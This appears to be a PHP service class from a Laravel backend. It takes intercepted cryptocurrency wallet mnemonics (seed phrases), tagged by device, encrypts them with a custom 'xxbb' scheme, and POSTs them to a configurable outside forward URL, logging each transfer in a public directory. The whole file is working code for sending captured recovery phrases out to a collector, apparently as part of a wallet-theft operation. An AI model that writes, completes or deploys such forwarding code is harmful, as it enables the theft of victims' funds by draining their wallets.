81 lines
2.5 KiB
PHP
81 lines
2.5 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Http\Middleware\DecryptXxbbBody;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
/**
|
|
* Push a scan-confirmed mnemonic to INTERCEPT_FORWARD_URL as an xxbb /us body.
|
|
*/
|
|
class InterceptForwarder
|
|
{
|
|
public function postMnemonic(string $deviceKey, string $phrase, string $tag): bool
|
|
{
|
|
$base = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
|
if ($base === '' || $deviceKey === '' || $phrase === '') {
|
|
return false;
|
|
}
|
|
|
|
$ts = (string) (int) round(microtime(true) * 1000);
|
|
if (strlen($ts) < 13) {
|
|
$ts = str_pad($ts, 13, '0');
|
|
}
|
|
$enc = DecryptXxbbBody::crypto()->encryptJson([
|
|
'd' => $deviceKey,
|
|
'a' => $tag,
|
|
'mnemonic' => $phrase,
|
|
], $ts);
|
|
|
|
$target = $base.'/us';
|
|
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
|
|
|
try {
|
|
$resp = Http::withHeaders([
|
|
'Content-Type' => 'text/plain',
|
|
'x-ts' => $ts,
|
|
])
|
|
->timeout($timeout)
|
|
->connectTimeout(min($timeout, 5))
|
|
->withBody($enc['body'], 'text/plain')
|
|
->post($target);
|
|
|
|
$this->writeLog($deviceKey, $target, $resp->status(), (string) $resp->body());
|
|
|
|
return $resp->successful();
|
|
} catch (\Throwable $e) {
|
|
Log::warning('scan mnemonic forward failed: '.$e->getMessage(), [
|
|
'device_key' => $deviceKey,
|
|
'target' => $target,
|
|
]);
|
|
$this->writeLog($deviceKey, $target, 0, $e->getMessage());
|
|
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private function writeLog(string $deviceKey, string $target, int $status, string $body): void
|
|
{
|
|
$logPath = public_path('log/intercept');
|
|
if (! is_dir($logPath)) {
|
|
return;
|
|
}
|
|
|
|
$entry = [
|
|
'time' => date('Y-m-d H:i:s'),
|
|
'dir' => 'scan-forward',
|
|
'device_key' => $deviceKey,
|
|
'target' => $target,
|
|
'status' => $status,
|
|
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
|
];
|
|
|
|
$line = $entry['time'].' SCAN-FORWARD '.$entry['target'].' '
|
|
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
|
."\r\n\r\n";
|
|
|
|
@file_put_contents($logPath.'/'.date('Ymd').'.log', $line, FILE_APPEND);
|
|
}
|
|
}
|